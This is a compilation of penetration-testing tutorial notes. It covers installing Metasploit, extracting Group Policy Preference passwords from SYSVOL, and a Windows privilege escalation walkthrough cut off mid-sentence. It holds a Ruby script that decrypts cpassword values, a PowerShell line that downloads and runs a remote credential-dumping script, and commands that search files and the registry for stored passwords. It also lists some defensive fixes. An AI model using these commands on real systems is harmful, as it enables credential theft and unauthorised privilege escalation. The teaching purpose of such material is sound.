https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run && chmod +x metasploit-latest-linux-x64-installer.run && ./metasploit-latest-linux-x64-installer.run # create user $ /opt/metasploit/createuser [*] Please enter a username: root [*] Creating user 'root' with password 'LsRRV[I^5' ... # activate your metasploit license https://localhost:3790 # update metasploite $ /opt/metasploit/app/msfupdate # use msfconsole $ /opt/metasploit/app/msfconsole
-
获取AD域中SYSVOL和组策略首选项中的密码
这种方法是最简单的,因为不需要特殊的“黑客”工具。所有的攻击必须做的是打开Windows资源管理器,并搜索域名为SYSVOL DFS共享的XML文件。在大多数情况下,以下XML文件将包含凭据:groups.xml,scheduledtasks.xml和&Services.xml,Printers.xml ,Drives.xml. SYSVOL是所有经过身份验证的用户具有读访问权限的Active Directory中的域范围共享 SYSVOL是指存储域公共文件服务器副本的共享文件夹,它们在域中所有的域控制器之间复制。 Sysvol文件夹是安装AD时创建的,它用来存放GPO、Script等信息。同时,存放在Sysvol文件夹中的信息,会复制到域中所有DC上。 SYSVOL包含登录脚本,组策略数据以及需要在任何有域控制器的任何地方可用的其他域范围数据(因为SYSVOL在所有域控制器之间自动同步并共享)。所有域组策略都存储在这里:\\ <DOMAIN> \ SYSVOL \ <DOMAIN> \ Policies \ 注意:C:\Windows\SYSVOL目录下,只有创建组策略脚本登录才能有策略脚本配置文件groups.xml,默认是没有的 当创建新的GPP时,在SYSVOL中创建了一个与相关配置数据相关联的XML文件,如果提供了密码,那么AES-256位加密应该足够强的。 用于加密任何域中的所有组策略首选项密码的32字节AES密钥: https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx#endNote2 4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8 f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b 由于经过身份验证的用户(任何域用户或受信任域中的用户)都具有对SYSVOL的读取权限,所以域中的任何人都可以搜索包含“cpassword”的XML文件的SYSVOL共享,该文件是包含AES加密密码的值 通过ruby脚本进行解密: require 'rubygems' require 'openssl' require 'base64' encrypted_data = " v0hX9w3D40aFkfgtPgcz1yWPcjp+BqICihQlATkp50g " def decrypt(encrypted_data) padding = "=" * (4 - (encrypted_data.length % 4)) epassword = "#{encrypted_data}#{padding}" decoded = Base64.decode64(epassword) key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b" aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC") aes.decrypt aes.key = key plaintext = aes.update(decoded) plaintext << aes.final pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion return pass end blah = decrypt(encrypted_data) puts blah use: ruby gpp,.rb posershell脚本获取GPP密码: powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPas sword.ps1');Get-GPPPassword" powershell import-modulo .\Get-GPPpassword.ps1;Get-GppPassword MSF下的GGP解密: msf > use post/windows/gather/credentials/gpp msf >post(gpp) > sessions msf >post(gpp) > set SESSION 1 msf> post(gpp) > show options msf >post(gpp) > run 防御方法: 在每台电脑上都安装上KB2962486补丁,可以防止新的用户凭证被放到组策略配置文件当中。 删除SYSVOL目录中包含密码的GPP xml文件。 不要把密码放在所有认证用户都有权访问的文件当中 附录: gpp组策略搭建: 让我们看一个例子,说明通过组策略定义本地用户登录。它从创建和编辑组策略对象开始: 在域组织中的组策略对象中创建一个登录账号脚本策略:名称为: gpp_local_login: 选择新建的组策略gpp_local_login然后编辑: 用户配置---控制面板设置---本地用户和组--新建-本地用户中添加一个脚本登录。 可以看到域控制器行创建了本地组策略的文件: 通过网络共享可以访问到GPP的组策略的文件: \\bk.com\SYSVOL\bk.com\Policies\{CE710A28-3FB8-4365-B356-41A30B5E9014}\User\Preferences\Groups\gpoups.xml 打开可以看到存储的cpasword密码:
-
windows提权基础大全
Not many people talk about serious Windows privilege escalation which is a shame. I think the reasons for this are probably (1) during pentesting engagements a low-priv shell is often all the proof you need for the customer, (2) in staged environments you often pop the Administrator account, (3) meterpreter makes you lazy (getsystem = lazy-fu), (4) build reviews to often end up being --> authenticated nessus scan, microsoft security baseline analyser... Contrary to common perception Windows boxes can be really well locked down if they are configured with care. On top of that the patch time window of opportunity is small. So lets dig into the dark corners of the Windows OS and see if we can get SYSTEM. It should be noted that I'll be using various versions of Windows to highlight any commandline differences that may exist. Keep this in mind as various OS/SP differences may exist in terms of commands not existing or generating slightly different output. I have tried to structure this tutorial so it will apply in the most general way to Windows privilege escalation. Finally I want to give a shout out to my friend Kostas who also really loves post-exploitation, you really don't want him to be logged into your machine hehe. Indispensable Resources: Encyclopaedia Of Windows Privilege Escalation (Brett Moore) - here. Windows Attacks: AT is the new black (Chris Gates & Rob Fuller) - here. Elevating privileges by exploiting weak folder permissions (Parvez Anwar) - here. Δt for t0 to t3 - Initial Information Gathering The starting point for this tutorial is an unprivileged shell on a box. We might have used a remote exploit or a client-side attack and we got a shell back. Basically at time t0 we have no understanding of the machine, what it does, what it is connected to, what level of privilege we have or even what operating system it is. Initially we will want to quickly gather some essential information so we can get a lay of the land and asses our situation. First let's find out what OS we are connected to: C:\Windows\system32> systeminfo | findstr /B /C:"OS Name" /C:"OS Version" OS Name: Microsoft Windows 7 Professional OS Version: 6.1.7601 Service Pack 1 Build 7601 Next we will see what the hostname is of the box and what user we are connected as. C:\Windows\system32> hostname b33f C:\Windows\system32> echo %username% user1 Now we have this basic information we list the other user accounts on the box and view our own user's information in a bit more detail. We can already see that user1 is not part of the localgroup Administrators. C:\Windows\system32> net users User accounts for \\B33F ------------------------------------------------------------------------------- Administrator b33f Guest user1 The command completed successfully. C:\Windows\system32> net user user1 User name user1 Full Name Comment User's comment Country code 000 (System Default) Account active Yes Account expires Never Password last set 1/11/2014 7:47:14 PM Password expires Never Password changeable 1/11/2014 7:47:14 PM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 1/11/2014 8:05:09 PM Logon hours allowed All Local Group Memberships *Users Global Group memberships *None The command completed successfully. That is all we need to know about users and permissions for the moment. Next on our list is networking, what is the machine connected to and what rules does it impose on those connections. First let's have a look at the available network interfaces and routing table. C:\Windows\system32> ipconfig /all Windows IP Configuration Host Name . . . . . . . . . . . . : b33f Primary Dns Suffix . . . . . . . : Node Type . . . . . . . . . . . . : Hybrid IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . . : No Ethernet adapter Bluetooth Network Connection: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Bluetooth Device (Personal Area Network) Physical Address. . . . . . . . . : 0C-84-DC-62-60-29 DHCP Enabled. . . . . . . . . . . : Yes Autoconfiguration Enabled . . . . : Yes Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection Physical Address. . . . . . . . . : 00-0C-29-56-79-35 DHCP Enabled. . . . . . . . . . . : Yes Autoconfiguration Enabled . . . . : Yes Link-local IPv6 Address . . . . . : fe80::5cd4:9caf:61c0:ba6e%11(Preferred) IPv4 Address. . . . . . . . . . . : 192.168.0.104(Preferred) Subnet Mask . . . . . . . . . . . : 255.255.255.0 Lease Obtained. . . . . . . . . . : Saturday, January 11, 2014 3:53:55 PM Lease Expires . . . . . . . . . . : Sunday, January 12, 2014 3:53:55 PM Default Gateway . . . . . . . . . : 192.168.0.1 DHCP Server . . . . . . . . . . . : 192.168.0.1 DHCPv6 IAID . . . . . . . . . . . : 234884137 DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-18-14-24-1D-00-0C-29-56-79-35 DNS Servers . . . . . . . . . . . : 192.168.0.1 NetBIOS over Tcpip. . . . . . . . : Enabled C:\Windows\system32> route print =========================================================================== Interface List 18...0c 84 dc 62 60 29 ......Bluetooth Device (Personal Area Network) 13...00 ff 0c 0d 4f ed ......TAP-Windows Adapter V9 11...00 0c 29 56 79 35 ......Intel(R) PRO/1000 MT Network Connection 1...........................Software Loopback Interface 1 16...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter 15...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #2 19...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #3 14...00 00 00 00 00 00 00 e0 Teredo Tunneling Pseudo-Interface =========================================================================== IPv4 Route Table =========================================================================== Active Routes: Network Destination Netmask Gateway Interface Metric 0.0.0.0 0.0.0.0 192.168.0.1 192.168.0.104 10 127.0.0.0 255.0.0.0 On-link 127.0.0.1 306 127.0.0.1 255.255.255.255 On-link 127.0.0.1 306 127.255.255.255 255.255.255.255 On-link 127.0.0.1 306 192.168.0.0 255.255.255.0 On-link 192.168.0.104 266 192.168.0.104 255.255.255.255 On-link 192.168.0.104 266 192.168.0.255 255.255.255.255 On-link 192.168.0.104 266 224.0.0.0 240.0.0.0 On-link 127.0.0.1 306 224.0.0.0 240.0.0.0 On-link 192.168.0.104 266 255.255.255.255 255.255.255.255 On-link 127.0.0.1 306 255.255.255.255 255.255.255.255 On-link 192.168.0.104 266 =========================================================================== Persistent Routes: None IPv6 Route Table =========================================================================== Active Routes: If Metric Network Destination Gateway 14 58 ::/0 On-link 1 306 ::1/128 On-link 14 58 2001::/32 On-link 14 306 2001:0:5ef5:79fb:8d2:b4e:3f57:ff97/128 On-link 11 266 fe80::/64 On-link 14 306 fe80::/64 On-link 14 306 fe80::8d2:b4e:3f57:ff97/128 On-link 11 266 fe80::5cd4:9caf:61c0:ba6e/128 On-link 1 306 ff00::/8 On-link 14 306 ff00::/8 On-link 11 266 ff00::/8 On-link =========================================================================== Persistent Routes: None # arp -A displays the ARP (Address Resolution Protocol) cache table for all available interfaces. C:\Windows\system32> arp -A Interface: 192.168.0.104 --- 0xb Internet Address Physical Address Type 192.168.0.1 90-94-e4-c5-b0-46 dynamic 192.168.0.101 ac-22-0b-af-bb-43 dynamic 192.168.0.255 ff-ff-ff-ff-ff-ff static 224.0.0.22 01-00-5e-00-00-16 static 224.0.0.251 01-00-5e-00-00-fb static 224.0.0.252 01-00-5e-00-00-fc static 239.255.255.250 01-00-5e-7f-ff-fa static 255.255.255.255 ff-ff-ff-ff-ff-ff static That brings us to the active network connections and the firewall rules. C:\Windows\system32> netstat -ano Active Connections Proto Local Address Foreign Address State PID TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 684 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:5357 0.0.0.0:0 LISTENING 4 TCP 127.0.0.1:5354 0.0.0.0:0 LISTENING 1400 TCP 192.168.0.104:139 0.0.0.0:0 LISTENING 4 TCP [::]:135 [::]:0 LISTENING 684 TCP [::]:445 [::]:0 LISTENING 4 TCP [::]:5357 [::]:0 LISTENING 4 UDP 0.0.0.0:5355 *:* 1100 UDP 0.0.0.0:52282 *:* 976 UDP 0.0.0.0:55202 *:* 2956 UDP 0.0.0.0:59797 *:* 1400 UDP 127.0.0.1:1900 *:* 2956 UDP 127.0.0.1:65435 *:* 2956 UDP 192.168.0.104:137 *:* 4 UDP 192.168.0.104:138 *:* 4 UDP 192.168.0.104:1900 *:* 2956 UDP 192.168.0.104:5353 *:* 1400 UDP 192.168.0.104:65434 *:* 2956 UDP [::]:5355 *:* 1100 UDP [::]:52281 *:* 976 UDP [::]:52283 *:* 976 UDP [::]:55203 *:* 2956 UDP [::]:59798 *:* 1400 UDP [::1]:1900 *:* 2956 UDP [::1]:5353 *:* 1400 UDP [::1]:65433 *:* 2956 UDP [fe80::5cd4:9caf:61c0:ba6e%11]:1900 *:* 2956 UDP [fe80::5cd4:9caf:61c0:ba6e%11]:65432 *:* 2956 # The following two netsh commands are examples of commands that are not universal across OS/SP. The netsh firewall commands are only available from XP SP2 and upwards. C:\Windows\system32> netsh firewall show state Firewall status: ------------------------------------------------------------------- Profile = Standard Operational mode = Enable Exception mode = Enable Multicast/broadcast response mode = Enable Notification mode = Enable Group policy version = Windows Firewall Remote admin mode = Disable Ports currently open on all network interfaces: Port Protocol Version Program ------------------------------------------------------------------- No ports are currently open on all network interfaces. C:\Windows\system32> netsh firewall show config Domain profile configuration: ------------------------------------------------------------------- Operational mode = Enable Exception mode = Enable Multicast/broadcast response mode = Enable Notification mode = Enable Allowed programs configuration for Domain profile: Mode Traffic direction Name / Program ------------------------------------------------------------------- Port configuration for Domain profile: Port Protocol Mode Traffic direction Name ------------------------------------------------------------------- ICMP configuration for Domain profile: Mode Type Description ------------------------------------------------------------------- Enable 2 Allow outbound packet too big Standard profile configuration (current): ------------------------------------------------------------------- Operational mode = Enable Exception mode = Enable Multicast/broadcast response mode = Enable Notification mode = Enable Service configuration for Standard profile: Mode Customized Name ------------------------------------------------------------------- Enable No Network Discovery Allowed programs configuration for Standard profile: Mode Traffic direction Name / Program ------------------------------------------------------------------- Enable Inbound COMRaider / E:\comraider\comraider.exe Enable Inbound nc.exe / C:\users\b33f\desktop\nc.exe Port configuration for Standard profile: Port Protocol Mode Traffic direction Name ------------------------------------------------------------------- ICMP configuration for Standard profile: Mode Type Description ------------------------------------------------------------------- Enable 2 Allow outbound packet too big Log configuration: ------------------------------------------------------------------- File location = C:\Windows\system32\LogFiles\Firewall\pfirewall.log Max file size = 4096 KB Dropped packets = Disable Connections = Disable Finally we will take a brief look at the what is running on the compromised box: scheduled tasks, running processes, started services and installed drivers. # This will display verbose output for all scheduled tasks, below you can see sample output for a single task. C:\Windows\system32> schtasks /query /fo LIST /v Folder: \Microsoft\Windows Defender HostName: B33F TaskName: \Microsoft\Windows Defender\MP Scheduled Scan Next Run Time: 1/22/2014 5:11:13 AM Status: Ready Logon Mode: Interactive/Background Last Run Time: N/A Last Result: 1 Author: N/A Task To Run: c:\program files\windows defender\MpCmdRun.exe Scan -ScheduleJob -WinTask -RestrictPrivilegesScan Start In: N/A Comment: Scheduled Scan Scheduled Task State: Enabled Idle Time: Only Start If Idle for 1 minutes, If Not Idle Retry For 240 minutes Power Management: No Start On Batteries Run As User: SYSTEM Delete Task If Not Rescheduled: Enabled Stop Task If Runs X Hours and X Mins: 72:00:00 Schedule: Scheduling data is not available in this format. Schedule Type: Daily Start Time: 5:11:13 AM Start Date: 1/1/2000 End Date: 1/1/2100 Days: Every 1 day(s) Months: N/A Repeat: Every: Disabled Repeat: Until: Time: Disabled Repeat: Until: Duration: Disabled Repeat: Stop If Still Running: Disabled [..Snip..] # The following command links running processes to started services. C:\Windows\system32> tasklist /SVC Image Name PID Services ========================= ======== ============================================ System Idle Process 0 N/A System 4 N/A smss.exe 244 N/A csrss.exe 332 N/A csrss.exe 372 N/A wininit.exe 380 N/A winlogon.exe 428 N/A services.exe 476 N/A lsass.exe 484 SamSs lsm.exe 496 N/A svchost.exe 588 DcomLaunch, PlugPlay, Power svchost.exe 668 RpcEptMapper, RpcSs svchost.exe 760 Audiosrv, Dhcp, eventlog, HomeGroupProvider, lmhosts, wscsvc svchost.exe 800 AudioEndpointBuilder, CscService, Netman, SysMain, TrkWks, UxSms, WdiSystemHost, wudfsvc svchost.exe 836 AeLookupSvc, BITS, gpsvc, iphlpsvc, LanmanServer, MMCSS, ProfSvc, Schedule, seclogon, SENS, ShellHWDetection, Themes, Winmgmt, wuauserv audiodg.exe 916 N/A svchost.exe 992 EventSystem, fdPHost, netprofm, nsi, WdiServiceHost, WinHttpAutoProxySvc svchost.exe 1104 CryptSvc, Dnscache, LanmanWorkstation, NlaSvc spoolsv.exe 1244 Spooler svchost.exe 1272 BFE, DPS, MpsSvc mDNSResponder.exe 1400 Bonjour Service taskhost.exe 1504 N/A taskeng.exe 1556 N/A vmtoolsd.exe 1580 VMTools dwm.exe 1660 N/A explorer.exe 1668 N/A vmware-usbarbitrator.exe 1768 VMUSBArbService TPAutoConnSvc.exe 1712 TPAutoConnSvc [..Snip..] C:\Windows\system32> net start These Windows services are started: Application Experience Application Information Background Intelligent Transfer Service Base Filtering Engine Bluetooth Support Service Bonjour Service COM+ Event System COM+ System Application Cryptographic Services DCOM Server Process Launcher Desktop Window Manager Session Manager DHCP Client Diagnostic Policy Service Diagnostic Service Host Diagnostic System Host Distributed Link Tracking Client Distributed Transaction Coordinator DNS Client Function Discovery Provider Host Function Discovery Resource Publication Group Policy Client [..Snip..] # This can be useful sometimes as some 3rd party drivers, even by reputable companies, contain more holes than Swiss cheese. This is only possible because ring0 exploitation lies outside most peoples expertise. C:\Windows\system32> DRIVERQUERY Module Name Display Name Driver Type Link Date ============ ====================== ============= ====================== 1394ohci 1394 OHCI Compliant Ho Kernel 11/20/2010 6:01:11 PM ACPI Microsoft ACPI Driver Kernel 11/20/2010 4:37:52 PM AcpiPmi ACPI Power Meter Drive Kernel 11/20/2010 4:47:55 PM adp94xx adp94xx Kernel 12/6/2008 7:59:55 AM adpahci adpahci Kernel 5/2/2007 1:29:26 AM adpu320 adpu320 Kernel 2/28/2007 8:03:08 AM AFD Ancillary Function Dri Kernel 11/20/2010 4:40:00 PM agp440 Intel AGP Bus Filter Kernel 7/14/2009 7:25:36 AM aic78xx aic78xx Kernel 4/12/2006 8:20:11 AM aliide aliide Kernel 7/14/2009 7:11:17 AM amdagp AMD AGP Bus Filter Dri Kernel 7/14/2009 7:25:36 AM amdide amdide Kernel 7/14/2009 7:11:19 AM AmdK8 AMD K8 Processor Drive Kernel 7/14/2009 7:11:03 AM AmdPPM AMD Processor Driver Kernel 7/14/2009 7:11:03 AM amdsata amdsata Kernel 3/19/2010 9:08:27 AM amdsbs amdsbs Kernel 3/21/2009 2:35:26 AM amdxata amdxata Kernel 3/20/2010 12:19:01 AM AppID AppID Driver Kernel 11/20/2010 5:29:48 PM arc arc Kernel 5/25/2007 5:31:06 AM [..Snip..] Δt for t4 - The Arcane Arts Of WMIC I want to mention WMIC (Windows Management Instrumentation Command-Line) separately as it is Windows most useful command line tool. WIMIC can be very practical for information gathering and post-exploitation. That being said it is a bit clunky and the output leaves much to be desired for. Fully explaining the use of WMIC would take a tutorial all of it's own. Not to mention that some of the output would be difficult to display due to the formatting. I have listed two resources below that are well worth reading on the subject matter: Command-Line Ninjitsu (SynJunkie) - here Windows WMIC Command Line (ComputerHope) - here Unfortunately some default configurations of windows do not allow access to WMIC unless the user is in the Administrators group (which is probably a really good idea). From my testing with VM's I noticed that any version of XP did not allow access to WMIC from a low privileged account. Contrary, default installations of Windows 7 Professional and Windows 8 Enterprise allowed low privilege users to use WMIC and query the operating system without modifying any settings. This is exactly what we need as we are using WMIC to gather information about the target machine. To give you an idea about the extensive options that WMIC has I have listed the available command line switches below. C:\Windows\system32> wmic /? [global switches] The following global switches are available: /NAMESPACE Path for the namespace the alias operate against. /ROLE Path for the role containing the alias definitions. /NODE Servers the alias will operate against. /IMPLEVEL Client impersonation level. /AUTHLEVEL Client authentication level. /LOCALE Language id the client should use. /PRIVILEGES Enable or disable all privileges. /TRACE Outputs debugging information to stderr. /RECORD Logs all input commands and output. /INTERACTIVE Sets or resets the interactive mode. /FAILFAST Sets or resets the FailFast mode. /USER User to be used during the session. /PASSWORD Password to be used for session login. /OUTPUT Specifies the mode for output redirection. /APPEND Specifies the mode for output redirection. /AGGREGATE Sets or resets aggregate mode. /AUTHORITY Specifies the for the connection. /?[:<BRIEF|FULL>] Usage information. For more information on a specific global switch, type: switch-name /? The following alias/es are available in the current role: ALIAS - Access to the aliases available on the local system BASEBOARD - Base board (also known as a motherboard or system board) management. BIOS - Basic input/output services (BIOS) management. BOOTCONFIG - Boot configuration management. CDROM - CD-ROM management. COMPUTERSYSTEM - Computer system management. CPU - CPU management. CSPRODUCT - Computer system product information from SMBIOS. DATAFILE - DataFile Management. DCOMAPP - DCOM Application management. DESKTOP - User's Desktop management. DESKTOPMONITOR - Desktop Monitor management. DEVICEMEMORYADDRESS - Device memory addresses management. DISKDRIVE - Physical disk drive management. DISKQUOTA - Disk space usage for NTFS volumes. DMACHANNEL - Direct memory access (DMA) channel management. ENVIRONMENT - System environment settings management. FSDIR - Filesystem directory entry management. GROUP - Group account management. IDECONTROLLER - IDE Controller management. IRQ - Interrupt request line (IRQ) management. JOB - Provides access to the jobs scheduled using the schedule service. LOADORDER - Management of system services that define execution dependencies. LOGICALDISK - Local storage device management. LOGON - LOGON Sessions. MEMCACHE - Cache memory management. MEMORYCHIP - Memory chip information. MEMPHYSICAL - Computer system's physical memory management. NETCLIENT - Network Client management. NETLOGIN - Network login information (of a particular user) management. NETPROTOCOL - Protocols (and their network characteristics) management. NETUSE - Active network connection management. NIC - Network Interface Controller (NIC) management. NICCONFIG - Network adapter management. NTDOMAIN - NT Domain management. NTEVENT - Entries in the NT Event Log. NTEVENTLOG - NT eventlog file management. ONBOARDDEVICE - Management of common adapter devices built into the motherboard (system board). OS - Installed Operating System/s management. PAGEFILE - Virtual memory file swapping management. PAGEFILESET - Page file settings management. PARTITION - Management of partitioned areas of a physical disk. PORT - I/O port management. PORTCONNECTOR - Physical connection ports management. PRINTER - Printer device management. PRINTERCONFIG - Printer device configuration management. PRINTJOB - Print job management. PROCESS - Process management. PRODUCT - Installation package task management. QFE - Quick Fix Engineering. QUOTASETTING - Setting information for disk quotas on a volume. RDACCOUNT - Remote Desktop connection permission management. RDNIC - Remote Desktop connection management on a specific network adapter. RDPERMISSIONS - Permissions to a specific Remote Desktop connection. RDTOGGLE - Turning Remote Desktop listener on or off remotely. RECOVEROS - Information that will be gathered from memory when the operating system fails. REGISTRY - Computer system registry management. SCSICONTROLLER - SCSI Controller management. SERVER - Server information management. SERVICE - Service application management. SHADOWCOPY - Shadow copy management. SHADOWSTORAGE - Shadow copy storage area management. SHARE - Shared resource management. SOFTWAREELEMENT - Management of the elements of a software product installed on a system. SOFTWAREFEATURE - Management of software product subsets of SoftwareElement. SOUNDDEV - Sound Device management. STARTUP - Management of commands that run automatically when users log onto the computer system. SYSACCOUNT - System account management. SYSDRIVER - Management of the system driver for a base service. SYSTEMENCLOSURE - Physical system enclosure management. SYSTEMSLOT - Management of physical connection points including ports, slots and peripherals, and proprietary connections points. TAPEDRIVE - Tape drive management. TEMPERATURE - Data management of a temperature sensor (electronic thermometer). TIMEZONE - Time zone data management. UPS - Uninterruptible power supply (UPS) management. USERACCOUNT - User account management. VOLTAGE - Voltage sensor (electronic voltmeter) data management. VOLUME - Local storage volume management. VOLUMEQUOTASETTING - Associates the disk quota setting with a specific disk volume. VOLUMEUSERQUOTA - Per user storage volume quota management. WMISET - WMI service operational parameters management. For more information on a specific alias, type: alias /? CLASS - Escapes to full WMI schema. PATH - Escapes to full WMI object paths. CONTEXT - Displays the state of all the global switches. QUIT/EXIT - Exits the program. For more information on CLASS/PATH/CONTEXT, type: (CLASS | PATH | CONTEXT) /? To simplify things I have created a script which can be dropped on the target machine and which will use WMIC to extract the following information: processes, services, user accounts, user groups, network interfaces, Hard Drive information, Network Share information, installed Windows patches, programs that run at startup, list of installed software, information about the operating system and timezone. I have gone through the various flags and parameters to extract the valuable pieces of information if anyone thinks of something that should be added to the list please leave a comment below. Using the built-in output features the script will write all results to a human readable html file. You can download my script (wmic_info.bat) - here Sample output file on a Windows 7 VM (badly patched) - here Δt for t5 to t6 - Quick Fails Before continuing on you should take a moment to review the information that you have gathered so far as there should be quite a bit by now. The next step in our gameplan is to look for some quick security fails which can be easily leveraged to upgrade our user privileges. The first and most obvious thing we need to look at is the patchlevel. There is no need to worry ourself further if we see that the host is badly patched. My WMIC script will already list all the installed patches but you can see the sample command line output below. C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn Caption Description HotFixID InstalledOn http://support.microsoft.com/?kbid=2727528 Security Update KB2727528 11/23/2013 http://support.microsoft.com/?kbid=2729462 Security Update KB2729462 11/26/2013 http://support.microsoft.com/?kbid=2736693 Security Update KB2736693 11/26/2013 http://support.microsoft.com/?kbid=2737084 Security Update KB2737084 11/23/2013 http://support.microsoft.com/?kbid=2742614 Security Update KB2742614 11/23/2013 http://support.microsoft.com/?kbid=2742616 Security Update KB2742616 11/26/2013 http://support.microsoft.com/?kbid=2750149 Update KB2750149 11/23/2013 http://support.microsoft.com/?kbid=2756872 Update KB2756872 11/24/2013 http://support.microsoft.com/?kbid=2756923 Security Update KB2756923 11/26/2013 http://support.microsoft.com/?kbid=2757638 Security Update KB2757638 11/23/2013 http://support.microsoft.com/?kbid=2758246 Update KB2758246 11/24/2013 http://support.microsoft.com/?kbid=2761094 Update KB2761094 11/24/2013 http://support.microsoft.com/?kbid=2764870 Update KB2764870 11/24/2013 http://support.microsoft.com/?kbid=2768703 Update KB2768703 11/23/2013 http://support.microsoft.com/?kbid=2769034 Update KB2769034 11/23/2013 http://support.microsoft.com/?kbid=2769165 Update KB2769165 11/23/2013 http://support.microsoft.com/?kbid=2769166 Update KB2769166 11/26/2013 http://support.microsoft.com/?kbid=2770660 Security Update KB2770660 11/23/2013 http://support.microsoft.com/?kbid=2770917 Update KB2770917 11/24/2013 http://support.microsoft.com/?kbid=2771821 Update KB2771821 11/24/2013 [..Snip..] As always with Windows, the output isn't exactly ready for use. The best strategy is to look for privilege escalation exploits and look up their respective KB patch numbers. Such exploits include, but are not limited to, KiTrap0D (KB979682), MS11-011 (KB2393802), MS10-059 (KB982799), MS10-021 (KB979683), MS11-080 (KB2592799). After enumerating the OS version and Service Pack you should find out which privilege escalation vulnerabilities could be present. Using the KB patch numbers you can grep the installed patches to see if any are missing. You can see the syntax to grep the patches below: C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB.." Next we will have a look at mass rollouts. If there is an environment where many machines need to be installed, typically, a technician will not go around from machine to machine. There are a couple of solutions to install machines automatically. What these methods are and how they work is less important for our purposes but the main thing is that they leave behind configuration files which are used for the installation process. These configuration files contain a lot of sensitive sensitive information such as the operating system product key and Administrator password. What we are most interested in is the Admin password as we can use that to elevate our privileges. Typically these are the directories that contain the configuration files (however it is a good idea to check the entire OS): c:\sysprep.inf c:\sysprep\sysprep.xml %WINDIR%\Panther\Unattend\Unattended.xml %WINDIR%\Panther\Unattended.xml These files either contain clear-text passwords or in a Base64 encoded format. You can see some sample file output below. # This is a sample from sysprep.inf with clear-text credentials. [GuiUnattended] OEMSkipRegional=1 OemSkipWelcome=1 AdminPassword=s3cr3tp4ssw0rd TimeZone=20 # This is a sample from sysprep.xml with Base64 "encoded" credentials. Please people Base64 is not encryption, I take more precautions to protect my coffee. The password here is "SuperSecurePassword". <LocalAccounts> <LocalAccount wcm:action="add"> <Password> <Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value> <PlainText>false</PlainText> </Password> <Description>Local Administrator</Description> <DisplayName>Administrator</DisplayName> <Group>Administrators</Group> <Name>Administrator</Name> </LocalAccount> </LocalAccounts> # Sample from Unattended.xml with the same "secure" Base64 encoding. <AutoLogon> <Password> <Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value> <PlainText>false</PlainText> </Password> <Enabled>true</Enabled> <Username>Administrator</Username> </AutoLogon> On the recommendation of Ben Campbell (@Meatballs__) I'm adding Group Policy Preference saved passwords to the list of quick fails. GPO preference files can be used to create local users on domain machines. When the box you compromise is connected to a domain it is well worth looking for the Groups.xml file which is stored in SYSVOL. Any authenticated user will have read access to this file. The password in the xml file is "obscured" from the casual user by encrypting it with AES, I say obscured because the static key is published on the msdn website allowing for easy decryption of the stored value. In addition to Groups.xml several other policy preference files can have the optional "cPassword" attribute set: Services\Services.xml: Element-Specific Attributes ScheduledTasks\ScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner Element Printers\Printers.xml: SharedPrinter Element Drives\Drives.xml: Element-Specific Attributes DataSources\DataSources.xml: Element-Specific Attributes This vulnerability can be exploited by manually browsing SYSVOL and grabbing the relevant files as demonstrated below. However we all like automated solutions so we can get to the finish line as quickly as possible. There are two main options here, depending on the kind of shell/access that we have. There is (1) a metasploit module which can be executed through an established session here or (2) you can use Get-GPPPassword which is part of PowerSploit. PowerSploit is an excellent powershell framework, by Matt Graeber, tailored to reverse engineering, forensics and pentesting. The next thing we will look for is a strange registry setting "AlwaysInstallElevated", if this setting is enabled it allows users of any privilege level to install *.msi files as NT AUTHORITY\SYSTEM. It seems like a strange idea to me that you would create low privilege users (to restrict their use of the OS) but give them the ability to install programs as SYSTEM. For more background reading on this issue you can have a look here at an article by Parvez from GreyHatHacker who originally reported this as a security concern. To be able to use this we need to check that two registry keys are set, if that is the case we can pop a SYSTEM shell. You can see the sytntax to query the respective registry keys below. # This will only work if both registry keys contain "AlwaysInstallElevated" with DWORD values of 1. C:\Windows\system32> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated C:\Windows\system32> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated To finish off this section we will do some quick searching on the operating system and hope we strike gold. You can see the syntax for our searches below. # The command below will search the file system for file names containing certain keywords. You can specify as many keywords as you wish. C:\Windows\system32> dir /s *pass* == *cred* == *vnc* == *.config* # Search certain file types for a keyword, this can generate a lot of output. C:\Windows\system32> findstr /si password *.xml *.ini *.txt # Similarly the two commands below can be used to grep the registry for keywords, in this case "password". C:\Windows\system32> reg query HKLM /f password /t REG_SZ /s C:\Windows\system32> reg query HKCU /f password /t REG_SZ /s Δt for t7 to t10 - Roll Up Your Sleeves Hopefully by now we already have a SYSTEM shell but if we don't there are still a few avenues of attack left to peruse. In this final part we will look at Windows services and file/folder permissions. Our goal here is to use weak permissions to elevate our session privileges. We will be checking a lot of access rights so we should grab a copy of 